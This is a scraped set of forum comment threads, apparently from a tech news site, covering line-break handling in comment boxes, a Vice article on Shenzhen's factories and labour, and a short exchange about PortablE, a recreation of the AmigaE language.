Why is your intuition more valid than mine?

<comment><USER3> I'm not going to claim it's more valid, but I do believe it more closely follows the principle of least astonishment.

If I go through the trouble of posting three lines, but only one line appears, then the result doesn't match what I intended to convey - it is as if I posted an entirely run-on paragraph either way.

Granted, there are obvious paragraphs when you break two lines - but why that and nothing at all for one?

<comment><USER2>
      > ... I do believe it more closely
      > follows the principle of least
      > astonishment.

I would be more surprised to find that something I type in a textarea has its line-feeds preserved as it gets converted from the text I type into HTML.

      > If I go through the trouble of posting
      > three lines, but only one line appears,
      > then the result doesn't match what I
      > intended to convey - it is as if I
      > posted an entirely run-on paragraph
      > either way.

Which is what happens when HTML is rendered to a screen. The line-feeds in the HTML are not preserved.

We have different expectations. The existing behavior matches my expectations, and it does not match yours. I have found you an explanation, but I expect you will never agree with me about what's "natural" because we have different beliefs about what "should" happen.

<fx: shrug />

It is what it is, and it won't change. You will disagree with the rationale and "naturalness," but perhaps the fact that others exist with different expectations may help you accept that it does not and will not do what you thought was obviously "right."

I'm not, by the way, claiming that its behavior is more "right" than what you expect. I'm merely pointing out that not everyone has the same expectations as yours.

<comment><USER3> It does seem obvious to me, but i'm aware it's subjective. Between the two, I suppose paragraphs are more explicit.</comment></comment></comment></comment></comment></comment></comment></comment>


The Changing Face of Shenzhen, the World's Gadget Factory - <AUTHOR> http://motherboard.vice.com/read/beyond-foxconn-inside-shenzhen-the-worlds-gadget-factory <comment><USER3> I was in Shenzhen and Xiamen for 2 weeks in April, and am headed back there in a month.

This time I'll actually be living on-site at one of our partner manufacturer's factory towns. It's difficult to wrap your head around the sheer scale of what has happened.

The factory town I'll be living in is 2 hours from the nearest city. Until the founder decided to build a factory there it was a tiny tropical village with population in the 100s. The air is clean. The weather in April a balmy 72F.

Today, it is home to 10000+ workers who all work for the manufacturer. Some live in company housing, but most have homes with their families in the surrounding villages. There are basketball courts, tennis courts and a running track that circles the compound.

The facility is vertically integrated - one building die casts metal molds, another uses them to injection mold plastic. They meet another truck from the PCB building and all get together at the assembly line.

The assembly line itself is a pressure positive facility - the air pressure inside is slightly higher than the atmospheric pressure so that air with impurities never gets in.

I was there for around 8 hours and I spent it in a daze. The kind of physical product development you could do with the kind of resources available there are otherworldly. I can't wait to be back.

<comment><USER4> What you explain is amazingly similar to what happened in Europe 100 years ago:

[https://en.wikipedia.org/wiki/Company_town](https://en.wikipedia.org/wiki/Company_town)

</comment></comment><comment><USER5> The US used to have Trenton, NJ, which still has a huge illuminated sign "Trenton Makes, The World Takes".[1] This is about as meaningful today as "South San Francisco, the Industrial City", which can be seen on US 101 northbound approaching SF.

The US has factories which look like Shentzen factories. Here's one.[2] It's run by Flextronics. More typical in the US are huge factories without many people doing direct labor.

[1] [https://en.wikipedia.org/wiki/Lower_Trenton_Bridge](https://en.wikipedia.org/wiki/Lower_Trenton_Bridge) [2] [http://www.usatoday.com/story/money/business/2013/12/06/jobs...](http://www.usatoday.com/story/money/business/2013/12/06/jobs- report-november/3881983/)

<comment><USER6> And maybe a sign of warning to China: today Trenton is a polluted, rusted out husk of its former self.

</comment></comment><comment><USER7> Blatantly false numbers in this article calls into question anything that the journalist said. Really sad, terrible fact-checking in this one. The population of SZ in 1979 was 30,000 not 300,000...that's an order of magnitude difference...you're talking about a tiny fishing village with no infrastructure becoming a world bastion of manufacturing. It's not hundreds of factories besides Foxconn, it's THOUSANDS. Did the author even go to Shenzhen? Back in the, "good old days," of 2007 when China was really cheap, wages were $7 per hour...you could rip on Shenzhen and compare wages to western countries...now it's up to over $20/day in a lot of places from what I have seen...scarily close to American minimum wage. If you want that $7/day wage you've got to go to inland China. I really don't think this author did his research, the article reads like it was rushed through and it seems like they just read a bunch of outdated articles on the topic and regurgitated them under the vice brand.

<comment><USER8> Just a nitpick with your comment but American minimum wage is $58/day and it's higher in most states. The median American assembly line worker makes $88/day. China isn't that close yet.

</comment></comment><comment><USER9> As a engineering student I have been very frustrated about this.

One of the main reasons why I think engineering is failing in the west is the deep separation between the math and actual production.

Software is an exception and this is why the US churns out world class software engineers.

But I think rather and throwing more billions into teachers and saddling students with more debt it would be be much better if the mid-level technical jobs existed to allow mid-level engineers to learn from experience rather than excel purely symbolicly ( in maths )

<comment><USER10> I call BS - I design in the west and manufacture in Schenzhen (and Shanghai) - you're only separated from the manufacturing if you refuse to get a passport and travel - it's a small world these days and the people a day away are friendly

The big truth here is in one of the last paragraphs of the article - <USER2> (and China) is going through an accelerated industrial revolution - they're making many of the same mistakes the west made (don't forget the killer smogs of the 50s in London), and learning from them - Shenzhen has simply banned the 2-strokes scooters ubiquitous throughout Asia, replacing them with electric ones, petrol powered taxis incur a 3 kwai tax over the blue electric ones ....

<comment><USER11> To be fair that's often not a viable expense on a student budget.

<comment><USER10> compared to what you'd likely spend for a build in the US vs in China you'll still likely come out ahead, I'd argue that if you can't afford to go you likely can't afford your project

<comment><USER11> Isn't the contention "it _would_ have been possibly affordable / reasonable if mid-tier manufacturing were still locally available in the United States"?

<comment><USER12> It is, you just don't know about it I guess. I spent the past 15 years working for Sanmina, another global high-tech manufacturer like the aforementioned Flextronics. Just within the US we had facilities in CA (Fremont, Livermore, Newark, Costa Mesa), AL (Huntsville, Guntersville), NH (Manchester, Derry), WA (Bothell), SC (Fort Mill), NC (RTP), TX (Allen, Carrollton, El Paso), CO (Louisville, Colorado Springs), AZ (Phoenix), UT (SLC) and more. These are factories building everything from simple injection molded plastics or PCBAs to stuff like MRI machines and military avionics. In the San Jose area we helped do DFM on Bloom Boxes for Bloom Energy, and designed & build massive storage arrays for Netflix.

Just because most people don't know about US manufacturing doesn't mean it's not still around, and in fact has hit recent peaks as the economy has recovered after the global recession (we'll see what happens now that economies are wavering again).

</comment></comment></comment></comment></comment></comment><comment><USER13> Recently I've been buying small electrical parts for hobby projects (e.g. little rf transmitters and receivers), mostly finding stuff on amazon and ebay. Most of those parts arrive with an origin address in Shengzen, usually something along the lines of:

unit {big number}, building {big number}, sector {big number}...

Just based on these addresses I'd formed a mental picture of some dystopian industrial megacity.

<comment><USER14> I'm glad I'm not the only one who's doing the same thing (more microcontroller stuff), made the same observation and got the same image.

<comment><USER13> Do you rate Arduino boards are are you using something else?

<comment><USER14> Arduino is a toy, with strange design tradeoffs I can only guess at (ethernet on USB???). I don't own a single one, but I think it's great that lot's of people are doing lots of interesting things with them. It just doesn't meet my needs and considering how many other options you have at the same price point I don't see the point.

</comment></comment></comment></comment><comment><USER15> The facilities seem rather cold. Aside from one guy in a T-shirt, everyone is wearing jackets or wollen tops, tanktops, or both. It is currently tropical summertime in Shenzhen.

<comment><USER16> I saw some of the photos some time ago in a different article and now recognized them. It seems they are from different place/time or for some reason workers want to show the nice jackets they have.

Google reverse image search show they collected images from different places. If I remember corectly this was the article : [http://www.unknownfieldsdivision.com/blog/?author=2](http://www.unknownfieldsdivision.com/blog/?author=2) it is from Summer 2014.

</comment></comment><comment><USER17> looks like these workers will be jobless when the robots begin to replace them or the outsourcing hub moves to even a cheaper labor source, perhaps even Africa in the future.

I think if China could transform these very workers into consumers, it would be unstoppable.

</comment><comment><USER18> "It's impossible to shake the sense that the young workers here lack not just a sense of control and self determination, but also a certain carefree innocence many of their Western counterparts take for granted."

It surely isn't an easy life [0], but what always gets to me is the old people who are poor. At least the young has hope, especially in anomalous city like Shenzhen. Who knows what is going to happen in 5 or 20 years. It might even show itself to be one of the best places in the world to be born right now.

[0] [http://www.pbs.org/pov/lasttrainhome/full.php](http://www.pbs.org/pov/lasttrainhome/full.php)</comment>


PortablE is a recreation of the AmigaE programming language - <AUTHOR> http://cshandley.co.uk/portable/ <comment><USER2> It converts AmigaE code into C++ code and uses GCC to compile it. Sort of defeats the purpose of the E language that was supposed to replace the C language. But at least it is cross platform between AmigaOS and MophOS versions.

</comment><comment><USER3> Oh man, names still don't come much more badass than Wouter van Oortmerssen.</comment>